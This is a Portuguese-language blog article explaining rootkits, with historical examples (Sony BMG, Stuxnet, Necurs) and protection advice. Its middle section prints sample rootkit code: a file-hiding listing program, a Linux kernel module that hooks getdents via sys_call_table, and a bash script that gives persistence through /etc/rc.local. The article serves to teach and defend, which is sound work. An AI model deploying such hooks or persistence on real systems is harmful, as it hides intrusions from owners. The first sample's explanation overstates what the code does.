Dolutech

O Que é um Rootkit? Exemplos de Ataques e Como se Proteger

Lucas Catão de Moraes

No mundo da cibersegurança, o termo “rootkit” é amplamente temido devido à sua capacidade de operar de maneira furtiva e causar danos significativos a sistemas comprometidos. Um rootkit é uma coleção de softwares maliciosos projetados para fornecer acesso privilegiado e ocultar a presença de outros programas maliciosos no sistema. Neste artigo, vamos explorar o que é um rootkit, como ele funciona, exemplos de ataques famosos envolvendo rootkits, e as melhores práticas para se proteger contra essa ameaça.

what is a rootkit blog

O Que é um Rootkit?

Um rootkit é um tipo de malware que permite que invasores acessem e controlem um sistema sem serem detectados. O termo “rootkit” é derivado de “root”, a conta de usuário com maior privilégio em sistemas Unix/Linux, e “kit”, um conjunto de ferramentas. Inicialmente, rootkits eram usados para manter o controle de sistemas comprometidos após a obtenção de acesso root, mas hoje eles podem ser usados em uma variedade de sistemas operacionais, incluindo Windows.

Como Funciona um Rootkit?

Os rootkits operam modificando partes essenciais do sistema operacional ou instalando-se profundamente no kernel (o núcleo do sistema), onde têm a capacidade de ocultar processos, arquivos e atividades de rede. Isso torna extremamente difícil para software de segurança, como antivírus, detectar a presença de um rootkit.

Tipos de Rootkits:

Exemplos de Ataques Envolvendo Rootkits

1. Rootkit Sony BMG (2005)

Em 2005, foi descoberto que a Sony BMG Music Entertainment havia instalado um rootkit em CDs de música para impedir a cópia não autorizada. Quando o CD era inserido no computador, o rootkit era automaticamente instalado sem o conhecimento do usuário, escondendo-se no sistema e tornando-se quase impossível de ser removido. Esse incidente gerou uma grande controvérsia e foi considerado um dos primeiros exemplos de uso comercial de rootkits.

2. Stuxnet (2010)

O Stuxnet, um dos malwares mais sofisticados já criados, usava um rootkit para esconder suas atividades enquanto comprometia sistemas industriais. Este rootkit foi especificamente desenvolvido para atacar sistemas SCADA usados em usinas nucleares iranianas, danificando centrífugas e atrasando o programa nuclear do Irã. O rootkit impediu que os operadores detectassem as manipulações até que o dano já estivesse feito.

3. Necurs Rootkit

O Necurs é um rootkit utilizado para ocultar a presença de botnets, uma rede de computadores infectados usados para realizar ataques distribuídos de negação de serviço (DDoS) ou espalhar outros tipos de malware, como ransomware. Ele se destaca por sua capacidade de desabilitar software de segurança e reativar-se após reinicializações do sistema.

Aqui estão alguns exemplos simplificados de código para demonstrar a sistemática básica por trás de rootkits. Esses exemplos são meramente educacionais e não devem ser usados para fins maliciosos.

Abaixo vamos explorar alguns exemplos de código de Rootkit para estudo

1. Exemplo de Rootkit no Nível de Usuário (User Mode Rootkit)

Este exemplo mostra como um rootkit em modo de usuário pode alterar o comportamento de um comando simples, como ls, para ocultar um arquivo ou diretório específico.

#include <stdio.h>
#include <string.h>
#include <dirent.h>

int main(void) {
    struct dirent *entry;
    DIR *dp = opendir(".");

    if (dp == NULL) {
        perror("opendir");
        return 1;
    }

    while ((entry = readdir(dp))) {
        // Se o nome do arquivo for "malicious_file", não o exibe.
        if (strcmp(entry->d_name, "malicious_file") == 0) {
            continue;
        }
        printf("%s\n", entry->d_name);
    }

    closedir(dp);
    return 0;
}

Explicação: Este código modifica o comportamento normal do comando ls para ocultar um arquivo chamado “malicious_file”. Ele faz isso filtrando o nome do arquivo na listagem de diretórios.

2. Exemplo de Rootkit no Nível de Kernel (Kernel Mode Rootkit)

Este é um exemplo muito simplificado de um módulo de kernel que poderia ser usado para interceptar chamadas de sistema (syscalls) e modificar seu comportamento.

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>

// Ponteiro para a syscall original
asmlinkage int (*original_getdents)(unsigned int, struct linux_dirent *, unsigned int);

// Hook da syscall getdents para ocultar arquivos
asmlinkage int hooked_getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count) {
    int nread = original_getdents(fd, dirp, count);
    struct linux_dirent *d;
    int bpos;

    for (bpos = 0; bpos < nread;) {
        d = (struct linux_dirent *) ((char *) dirp + bpos);
        if (strcmp(d->d_name, "malicious_file") == 0) {
            // Remover a entrada do arquivo
            memmove(d, (char *) d + d->d_reclen, nread - (bpos + d->d_reclen));
            nread -= d->d_reclen;
        } else {
            bpos += d->d_reclen;
        }
    }
    return nread;
}

static int __init rootkit_init(void) {
    // Substituir a syscall getdents pela nossa função hook
    original_getdents = (void *)sys_call_table[__NR_getdents];
    write_cr0(read_cr0() & (~0x10000));
    sys_call_table[__NR_getdents] = (unsigned long *)hooked_getdents;
    write_cr0(read_cr0() | 0x10000);
    return 0;
}

static void __exit rootkit_cleanup(void) {
    // Restaurar a syscall original
    write_cr0(read_cr0() & (~0x10000));
    sys_call_table[__NR_getdents] = (unsigned long *)original_getdents;
    write_cr0(read_cr0() | 0x10000);
}

module_init(rootkit_init);
module_exit(rootkit_cleanup);

Explicação: Este exemplo demonstra como um rootkit no nível de kernel pode alterar a syscall getdents (que é usada para listar diretórios) para ocultar arquivos do usuário. Ele substitui a função original por uma função modificada (hooked_getdents) que omite arquivos específicos da lista de diretórios.

3. Exemplo de Rootkit Persistente

Um rootkit persistente é aquele que se reinstala automaticamente após ser removido. Uma abordagem comum para isso é modificar arquivos de inicialização do sistema.

#!/bin/bash

# Adiciona o rootkit ao script de inicialização
echo "/bin/rootkit" >> /etc/rc.local

# Rootkit que re-escreve o rc.local caso seja removido
cat <<EOF > /bin/rootkit
#!/bin/bash
if ! grep -q "/bin/rootkit" /etc/rc.local; then
    echo "/bin/rootkit" >> /etc/rc.local
fi
EOF

chmod +x /bin/rootkit

Explicação: Este script Bash modifica o arquivo rc.local para garantir que o rootkit (/bin/rootkit) seja executado sempre que o sistema for iniciado. Ele também verifica se a linha foi removida e a adiciona novamente, garantindo a persistência do rootkit.

Estes exemplos ilustram como rootkits podem modificar o comportamento de sistemas operacionais para esconder atividades maliciosas. Embora sejam simplificados, eles oferecem uma visão sobre as técnicas que podem ser utilizadas para criar rootkits. Lembre-se de que a criação e a disseminação de malware são atividades ilegais e antiéticas. O objetivo dessas informações é educacional, com foco na conscientização e na defesa contra essas ameaças.

Para proteger-se contra rootkits, é essencial manter seu sistema e softwares atualizados, usar soluções de segurança robustas, e estar sempre atento a comportamentos suspeitos em seus sistemas.

Como Se Proteger Contra Rootkits

Devido à natureza furtiva dos rootkits, prevenir a infecção é muito mais eficaz do que tentar removê-los depois de instalados. Aqui estão algumas práticas recomendadas para proteção contra rootkits:

1. Manter o Sistema e Software Atualizados

Certifique-se de que o sistema operacional, drivers e todos os softwares estão sempre atualizados. Muitas vezes, rootkits exploram vulnerabilidades conhecidas que podem ser corrigidas com atualizações de segurança.

2. Usar Software de Segurança Confiável

Embora alguns rootkits possam escapar de detecção, o uso de soluções de segurança robustas que incluem detecção baseada em comportamento pode ajudar a identificar e neutralizar rootkits.

3. Habilitar a Proteção de Kernel

Em sistemas operacionais modernos, como o Windows 10 e 11, há opções para habilitar a proteção de kernel que dificultam a instalação de rootkits. Certifique-se de que essas proteções estão ativadas.

4. Utilizar Ferramentas de Verificação Específicas

Ferramentas como Malwarebytes Anti-Rootkit ou GMER podem ser usadas para realizar verificações profundas e identificar possíveis rootkits instalados no sistema.

5. Educação e Conscientização

Os usuários devem ser educados para evitar clicar em links suspeitos, baixar software de fontes não confiáveis, ou inserir mídia desconhecida em seus sistemas, pois essas são formas comuns de infecção por rootkits.

6. Monitoramento Contínuo

Implemente sistemas de monitoramento que possam detectar alterações incomuns no sistema ou tráfego de rede. Isso pode ajudar a identificar a presença de um rootkit antes que ele cause danos significativos.

Conclusão

Rootkits representam uma ameaça significativa devido à sua capacidade de operar silenciosamente e ocultar atividades maliciosas. A proteção contra rootkits exige uma abordagem proativa, incluindo a manutenção de sistemas atualizados, o uso de software de segurança eficaz, e a educação contínua dos usuários sobre práticas seguras. Com essas medidas, você pode reduzir significativamente o risco de infecção e proteger seus sistemas contra uma das formas mais furtivas de malware.

Sair da versão mobile